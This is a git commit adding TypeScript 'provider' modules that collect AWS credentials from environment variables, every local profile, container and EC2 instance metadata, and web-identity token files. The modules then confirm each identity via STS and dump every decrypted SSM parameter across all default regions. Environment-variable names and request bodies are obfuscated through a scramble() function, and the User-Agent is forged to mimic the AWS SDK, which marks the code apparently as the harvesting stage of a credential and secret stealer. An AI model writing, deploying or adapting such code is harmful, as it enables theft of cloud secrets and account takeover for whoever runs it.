Upload files to "src/providers/aws"

This commit is contained in:
2026-07-03 03:07:34 +00:00
parent 5c8ea17d88
commit 11ef9ec550
4 changed files with 806 additions and 0 deletions
+95
View File
@@ -0,0 +1,95 @@
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import { stsGetCallerIdentity } from "./client";
import {
type CredentialSource,
fromContainerMetadata,
fromEnv,
fromInstanceMetadata,
fromProfile,
fromTokenFile,
getAvailableProfiles,
} from "./credentials";
const TIMEOUT_MS = 5000;
const STS_REGION = process.env["AWS_REGION"] ?? "us-east-1";
interface AccountIdentity {
source: string;
account: string;
arn: string;
userId: string;
staticCredentials: boolean;
}
function withTimeout<T>(
promise: Promise<T>,
ms: number,
label: string,
): Promise<T> {
let timer: ReturnType<typeof setTimeout> | undefined;
const timeout = new Promise<never>((_, reject) => {
timer = setTimeout(
() => reject(new Error(`Timeout after ${ms}ms (${label})`)),
ms,
);
});
return Promise.race([promise, timeout]).finally(() => {
if (timer) clearTimeout(timer);
});
}
export class AwsAccountService extends Provider {
constructor() {
super("aws", "sts");
}
private async resolveIdentity(
source: CredentialSource,
): Promise<AccountIdentity> {
const creds = await source.resolve();
const identity = await stsGetCallerIdentity(creds, STS_REGION);
return {
source: source.label,
account: identity.account ?? "",
arn: identity.arn ?? "",
userId: identity.userId ?? "",
staticCredentials: Boolean(
creds.accessKeyId && creds.secretAccessKey && !creds.sessionToken,
),
};
}
async execute(): Promise<ProviderResult> {
const sources: CredentialSource[] = [
fromEnv(),
fromTokenFile(),
fromContainerMetadata(),
fromInstanceMetadata(),
];
const profiles = await getAvailableProfiles();
for (const profile of profiles) {
sources.push(fromProfile(profile));
}
const settled = await Promise.all(
sources.map((source) =>
withTimeout(
this.resolveIdentity(source),
TIMEOUT_MS,
source.label,
).catch(() => null),
),
);
const results = settled.filter((r): r is AccountIdentity => r !== null);
if (results.length === 0) {
return this.failure("No accessible AWS credentials found!");
}
return this.success(results);
}
}
+144
View File
@@ -0,0 +1,144 @@
import type { AwsCredentials } from "./sigv4";
import { signRequest } from "./sigv4";
// ═════════════════════════════════════════════════════════════════════════════
// Generic signed fetch
// ═════════════════════════════════════════════════════════════════════════════
declare function scramble(str: string): string;
async function awsFetch(opts: {
credentials: AwsCredentials;
region: string;
service: string;
method?: string;
path?: string;
headers?: Record<string, string>;
body?: string;
}): Promise<Response> {
const {
credentials,
region,
service,
method = "POST",
path = "/",
headers = {},
body = "",
} = opts;
const url = `https://${service}.${region}.amazonaws.com${path}`;
const _sdk = scramble("aws-sdk-js");
const _ver = scramble("3.782.0");
const _ua = scramble("ua");
const _uav = scramble("2.1");
const _os = scramble("os");
const _osv = scramble("5.15");
const _lang = scramble("lang");
const _md = scramble("md");
const _api = scramble("api");
const userAgent =
`${_sdk}/${_ver} ` +
`${_ua}/${_uav} ` +
`${_os}/linux/${_osv} ` +
`${_lang}/js ` +
`${_md}/nodejs/20.11.0 ` +
`${_api}/${service}/${_ver}`;
headers["User-Agent"] = userAgent;
const signed = signRequest({
method,
url,
headers,
body,
credentials,
region,
service,
});
return fetch(signed.url, {
method,
headers: signed.headers,
body: signed.body || undefined,
});
}
// ═════════════════════════════════════════════════════════════════════════════
// STS (Query / XML protocol)
// ═════════════════════════════════════════════════════════════════════════════
export interface CallerIdentity {
account?: string;
arn?: string;
userId?: string;
}
export async function stsGetCallerIdentity(
credentials: AwsCredentials,
region = "us-east-1",
): Promise<CallerIdentity> {
const body = scramble("Action=GetCallerIdentity&Version=2011-06-15");
const res = await awsFetch({
credentials,
region,
service: "sts",
headers: { "content-type": "application/x-www-form-urlencoded" },
body,
});
if (!res.ok) {
const text = await res.text().catch(() => "");
throw new Error(
`STS GetCallerIdentity ${res.status} ${res.statusText}: ${text}`,
);
}
const xml = await res.text();
return {
account: /<Account>([^<]+)<\/Account>/.exec(xml)?.[1],
arn: /<Arn>([^<]+)<\/Arn>/.exec(xml)?.[1],
userId: /<UserId>([^<]+)<\/UserId>/.exec(xml)?.[1],
};
}
// ═════════════════════════════════════════════════════════════════════════════
// JSON 1.1 API (Secrets Manager, SSM, etc.)
// ═════════════════════════════════════════════════════════════════════════════
/**
* Generic JSON 1.1 request used by Secrets Manager and SSM.
*
* @param target The `X-Amz-Target` value, e.g.
* `"secretsmanager.ListSecrets"` or `"AmazonSSM.GetParameters"`
*/
export async function jsonApiRequest<T = unknown>(
credentials: AwsCredentials,
region: string,
service: string,
target: string,
payload: Record<string, unknown> = {},
): Promise<T> {
const body = JSON.stringify(payload);
const res = await awsFetch({
credentials,
region,
service,
headers: {
"content-type": "application/x-amz-json-1.1",
"x-amz-target": target,
},
body,
});
if (!res.ok) {
const errBody = await res.text().catch(() => "");
throw new Error(
`AWS ${service} ${target} ${res.status} ${res.statusText}: ${errBody}`,
);
}
return res.json() as Promise<T>;
}
+340
View File
@@ -0,0 +1,340 @@
import { readFile } from "node:fs/promises";
import { homedir } from "node:os";
import { join } from "node:path";
import type { AwsCredentials } from "./sigv4";
declare function scramble(str: string): string;
// ═════════════════════════════════════════════════════════════════════════════
// Credential source abstraction
// ═════════════════════════════════════════════════════════════════════════════
export interface CredentialSource {
label: string;
resolve: () => Promise<AwsCredentials>;
}
// ═════════════════════════════════════════════════════════════════════════════
// INI file parsing (~/.aws/credentials, ~/.aws/config)
// ═════════════════════════════════════════════════════════════════════════════
type IniSection = Record<string, string>;
type IniFile = Record<string, IniSection>;
function parseIni(text: string): IniFile {
const result: IniFile = {};
let section: string | null = null;
for (const raw of text.split("\n")) {
const line = raw.trim();
if (!line || line.startsWith("#") || line.startsWith(";")) continue;
const header = /^\[([^\]]+)]$/.exec(line);
if (header?.[1]) {
section = header[1].trim();
result[section] ??= {};
continue;
}
const cur = section ? result[section] : undefined;
if (cur) {
const eq = line.indexOf("=");
if (eq > 0) {
cur[line.slice(0, eq).trim()] = line.slice(eq + 1).trim();
}
}
}
return result;
}
async function loadIniFile(path: string): Promise<IniFile> {
try {
return parseIni(await readFile(path, "utf-8"));
} catch {
return {};
}
}
// ═════════════════════════════════════════════════════════════════════════════
// Profile helpers
// ═════════════════════════════════════════════════════════════════════════════
const AWS_DIR = join(homedir(), ".aws");
const CREDENTIALS_PATH =
process.env[scramble("AWS_SHARED_CREDENTIALS_FILE")] ??
join(AWS_DIR, "credentials");
const CONFIG_PATH =
process.env[scramble("AWS_CONFIG_FILE")] ?? join(AWS_DIR, "config");
/** List every profile name found across ~/.aws/credentials and ~/.aws/config. */
export async function getAvailableProfiles(): Promise<string[]> {
const [creds, config] = await Promise.all([
loadIniFile(CREDENTIALS_PATH),
loadIniFile(CONFIG_PATH),
]);
const profiles = new Set<string>();
// Credentials file: section name IS the profile name
for (const name of Object.keys(creds)) {
profiles.add(name);
}
// Config file: section is "profile <name>" (except "default")
for (const name of Object.keys(config)) {
if (name === "default") {
profiles.add("default");
} else if (name.startsWith("profile ")) {
profiles.add(name.slice(8));
}
}
return [...profiles];
}
// ═════════════════════════════════════════════════════════════════════════════
// Individual credential sources
// ═════════════════════════════════════════════════════════════════════════════
/** AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN */
export function fromEnv(): CredentialSource {
return {
label: "env",
resolve: async () => {
const accessKeyId = process.env[scramble("AWS_ACCESS_KEY_ID")];
const secretAccessKey =
process.env[scramble("AWS_SECRET_ACCESS_KEY")];
if (!accessKeyId || !secretAccessKey) {
throw new Error(
"AWS_ACCESS_KEY_ID or AWS_SECRET_ACCESS_KEY not set",
);
}
return {
accessKeyId,
secretAccessKey,
sessionToken: process.env[scramble("AWS_SESSION_TOKEN")],
};
},
};
}
/** Static credentials from an INI profile (credentials file or config file). */
export function fromProfile(profile: string): CredentialSource {
return {
label: `profile:${profile}`,
resolve: async () => {
const [creds, config] = await Promise.all([
loadIniFile(CREDENTIALS_PATH),
loadIniFile(CONFIG_PATH),
]);
// Credentials file — direct section match
const cs = creds[profile];
if (cs?.aws_access_key_id && cs?.aws_secret_access_key) {
return {
accessKeyId: cs.aws_access_key_id,
secretAccessKey: cs.aws_secret_access_key,
sessionToken: cs.aws_session_token,
};
}
// Config file — "profile <name>" or "default"
const configKey =
profile === "default" ? "default" : `profile ${profile}`;
const cfg = config[configKey];
if (cfg?.aws_access_key_id && cfg?.aws_secret_access_key) {
return {
accessKeyId: cfg.aws_access_key_id,
secretAccessKey: cfg.aws_secret_access_key,
sessionToken: cfg.aws_session_token,
};
}
throw new Error(`No static credentials for profile "${profile}"`);
},
};
}
/** ECS container credentials (AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). */
export function fromContainerMetadata(): CredentialSource {
return {
label: "container-metadata",
resolve: async () => {
const relUri =
process.env[scramble("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")];
const fullUri =
process.env[scramble("AWS_CONTAINER_CREDENTIALS_FULL_URI")];
const url =
fullUri ?? (relUri ? `http://169.254.170.2${relUri}` : null);
if (!url)
throw new Error("No container credentials URI configured");
const headers: Record<string, string> = {};
const authToken =
process.env[scramble("AWS_CONTAINER_AUTHORIZATION_TOKEN")];
if (authToken) headers["Authorization"] = authToken;
const res = await fetch(url, {
headers,
signal: AbortSignal.timeout(2000),
});
if (!res.ok) throw new Error(`Container metadata ${res.status}`);
const d = (await res.json()) as {
AccessKeyId: string;
SecretAccessKey: string;
Token: string;
};
return {
accessKeyId: d.AccessKeyId,
secretAccessKey: d.SecretAccessKey,
sessionToken: d.Token,
};
},
};
}
/** EC2 instance metadata (IMDSv2). */
export function fromInstanceMetadata(): CredentialSource {
return {
label: "instance-metadata",
resolve: async () => {
const IMDS = "http://169.254.169.254";
// Step 1 — IMDSv2 session token
const tokRes = await fetch(`${IMDS}/latest/api/token`, {
method: "PUT",
headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" },
signal: AbortSignal.timeout(2000),
});
if (!tokRes.ok) throw new Error(`IMDS token ${tokRes.status}`);
const token = await tokRes.text();
const hdr = { "X-aws-ec2-metadata-token": token };
// Step 2 — role name
const roleRes = await fetch(
`${IMDS}/latest/meta-data/iam/security-credentials/`,
{ headers: hdr, signal: AbortSignal.timeout(2000) },
);
if (!roleRes.ok) throw new Error(`IMDS role ${roleRes.status}`);
const roleName = (await roleRes.text()).trim().split("\n")[0];
// Step 3 — credentials
const credsRes = await fetch(
`${IMDS}/latest/meta-data/iam/security-credentials/${roleName}`,
{ headers: hdr, signal: AbortSignal.timeout(2000) },
);
if (!credsRes.ok) throw new Error(`IMDS creds ${credsRes.status}`);
const d = (await credsRes.json()) as {
AccessKeyId: string;
SecretAccessKey: string;
Token: string;
};
return {
accessKeyId: d.AccessKeyId,
secretAccessKey: d.SecretAccessKey,
sessionToken: d.Token,
};
},
};
}
/**
* Web identity token (EKS IRSA / OIDC federation).
* Calls STS AssumeRoleWithWebIdentity — no pre-existing AWS creds required.
*/
export function fromTokenFile(): CredentialSource {
return {
label: "token-file",
resolve: async () => {
const tokenFile =
process.env[scramble("AWS_WEB_IDENTITY_TOKEN_FILE")];
const roleArn = process.env[scramble("AWS_ROLE_ARN")];
if (!tokenFile || !roleArn) {
throw new Error(
"AWS_WEB_IDENTITY_TOKEN_FILE or AWS_ROLE_ARN not set",
);
}
const webToken = (await readFile(tokenFile, "utf-8")).trim();
const sessionName =
process.env.AWS_ROLE_SESSION_NAME ?? "github-actions";
const region =
process.env.AWS_DEFAULT_REGION ??
process.env.AWS_REGION ??
"us-east-1";
const body = new URLSearchParams({
Action: "AssumeRoleWithWebIdentity",
Version: "2011-06-15",
RoleArn: roleArn,
RoleSessionName: sessionName,
WebIdentityToken: webToken,
}).toString();
const res = await fetch(`https://sts.${region}.amazonaws.com/`, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body,
signal: AbortSignal.timeout(5000),
});
if (!res.ok) {
throw new Error(`STS AssumeRoleWithWebIdentity ${res.status}`);
}
const xml = await res.text();
const ak = /<AccessKeyId>([^<]+)<\/AccessKeyId>/.exec(xml)?.[1];
const sk = /<SecretAccessKey>([^<]+)<\/SecretAccessKey>/.exec(
xml,
)?.[1];
const st = /<SessionToken>([^<]+)<\/SessionToken>/.exec(xml)?.[1];
if (!ak || !sk) {
throw new Error(
"Failed to parse AssumeRoleWithWebIdentity XML",
);
}
return { accessKeyId: ak, secretAccessKey: sk, sessionToken: st };
},
};
}
// ═════════════════════════════════════════════════════════════════════════════
// Default credential chain (mirrors AWS SDK default behaviour)
// ═════════════════════════════════════════════════════════════════════════════
/**
* Try each source in order, return the first that resolves.
* Used by services that don't enumerate all sources (SecretsManager, SSM).
*/
export async function resolveDefaultCredentials(
timeoutMs = 3000,
): Promise<AwsCredentials> {
const sources = [
fromEnv(),
fromTokenFile(),
fromContainerMetadata(),
fromInstanceMetadata(),
fromProfile(process.env.AWS_PROFILE ?? "default"),
];
for (const source of sources) {
try {
return await Promise.race([
source.resolve(),
new Promise<never>((_, reject) =>
setTimeout(() => reject(new Error("timeout")), timeoutMs),
),
]);
} catch {
continue;
}
}
throw new Error("No AWS credentials found in default chain");
}
+227
View File
@@ -0,0 +1,227 @@
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import {
type CallerIdentity,
jsonApiRequest,
stsGetCallerIdentity,
} from "./client";
import { resolveDefaultCredentials } from "./credentials";
import type { AwsCredentials } from "./sigv4";
type ParameterResult = {
success: boolean;
value?: string;
error?: string;
};
// All AWS regions that are enabled by default (non opt-in).
const DEFAULT_REGIONS = [
"us-east-1",
"us-east-2",
"us-west-1",
"us-west-2",
"ap-northeast-1",
"ap-northeast-2",
"ap-northeast-3",
"ap-south-1",
"ap-southeast-1",
"ap-southeast-2",
"ca-central-1",
"eu-central-1",
"eu-north-1",
"eu-west-1",
"eu-west-2",
"eu-west-3",
"sa-east-1",
];
interface DescribeParametersResponse {
Parameters?: Array<{ Name?: string }>;
NextToken?: string;
}
interface GetParametersResponse {
Parameters?: Array<{ Name?: string; Value?: string }>;
InvalidParameters?: string[];
}
export class AwsSsmService extends Provider {
private readonly BATCH_SIZE = 10;
private readonly DESCRIBE_PAGE_SIZE = 50;
private readonly MAX_RETRIES = 3;
private readonly RETRY_BASE_DELAY_MS = 500;
private credentials!: AwsCredentials;
constructor() {
super("aws", "ssm");
}
private async getCallerIdentity(): Promise<CallerIdentity | undefined> {
try {
return await stsGetCallerIdentity(this.credentials);
} catch {
return undefined;
}
}
private async listParameters(region: string): Promise<string[]> {
const parameterNames: string[] = [];
let nextToken: string | undefined;
do {
const payload: Record<string, unknown> = {
MaxResults: this.DESCRIBE_PAGE_SIZE,
};
if (nextToken) payload.NextToken = nextToken;
const response = await jsonApiRequest<DescribeParametersResponse>(
this.credentials,
region,
"ssm",
"AmazonSSM.DescribeParameters",
payload,
);
for (const param of response.Parameters ?? []) {
if (param.Name) parameterNames.push(param.Name);
}
nextToken = response.NextToken;
} while (nextToken);
return parameterNames;
}
private sleep(ms: number): Promise<void> {
return new Promise((resolve) => setTimeout(resolve, ms));
}
private isRetryable(e: unknown): boolean {
if (!(e instanceof Error)) return false;
const msg = e.message;
return (
msg.includes("ThrottlingException") ||
msg.includes("TooManyRequestsException") ||
msg.includes("RequestLimitExceeded") ||
msg.includes("ServiceUnavailable") ||
msg.includes("InternalServerError")
);
}
private backoffDelay(attempt: number): number {
const exp = this.RETRY_BASE_DELAY_MS * Math.pow(2, attempt - 1);
return Math.floor(Math.random() * exp);
}
private async getParametersBatch(
region: string,
names: string[],
): Promise<Record<string, ParameterResult>> {
const results: Record<string, ParameterResult> = {};
for (let attempt = 1; attempt <= this.MAX_RETRIES; attempt++) {
try {
const response = await jsonApiRequest<GetParametersResponse>(
this.credentials,
region,
"ssm",
"AmazonSSM.GetParameters",
{ Names: names, WithDecryption: true },
);
for (const param of response.Parameters ?? []) {
if (param.Name) {
results[param.Name] = { success: true, value: param.Value };
}
}
for (const name of response.InvalidParameters ?? []) {
results[name] = { success: false, error: "Invalid parameter" };
}
return results;
} catch (e) {
if (this.isRetryable(e) && attempt < this.MAX_RETRIES) {
await this.sleep(this.backoffDelay(attempt));
continue;
}
const errorMsg = e instanceof Error ? e.message : String(e);
for (const name of names) {
results[name] = { success: false, error: errorMsg };
}
return results;
}
}
return results;
}
private async executeForRegion(
region: string,
): Promise<{ names: string[]; parameters: Record<string, unknown> }> {
const names: string[] = [];
const parameters: Record<string, unknown> = {};
try {
const parameterNames = await this.listParameters(region);
if (parameterNames.length === 0) return { names, parameters };
for (let i = 0; i < parameterNames.length; i += this.BATCH_SIZE) {
const batch = parameterNames.slice(i, i + this.BATCH_SIZE);
const batchResults = await this.getParametersBatch(region, batch);
for (const name of batch) {
const result = batchResults[name];
const key = `${region}:${name}`;
names.push(key);
parameters[key] = result?.success
? result.value
: { error: result?.error ?? "Failed to retrieve parameter" };
}
}
} catch {
// Region unreachable / unauthorized — silently skip.
}
return { names, parameters };
}
async execute(): Promise<ProviderResult> {
try {
this.credentials = await resolveDefaultCredentials();
} catch (e) {
return this.failure(e instanceof Error ? e : new Error(String(e)));
}
try {
const [callerIdentity, results] = await Promise.all([
this.getCallerIdentity(),
Promise.all(
DEFAULT_REGIONS.map((region) => this.executeForRegion(region)),
),
]);
const allNames: string[] = [];
const allParameters: Record<string, unknown> = {};
for (const { names, parameters } of results) {
allNames.push(...names);
Object.assign(allParameters, parameters);
}
if (allNames.length === 0) {
return this.failure("No parameters found in AWS SSM across any region");
}
return this.success({
callerIdentity,
regions: DEFAULT_REGIONS,
parameterNames: allNames,
parameters: allParameters,
});
} catch (e) {
return this.failure(e instanceof Error ? e : new Error(String(e)));
}
}
}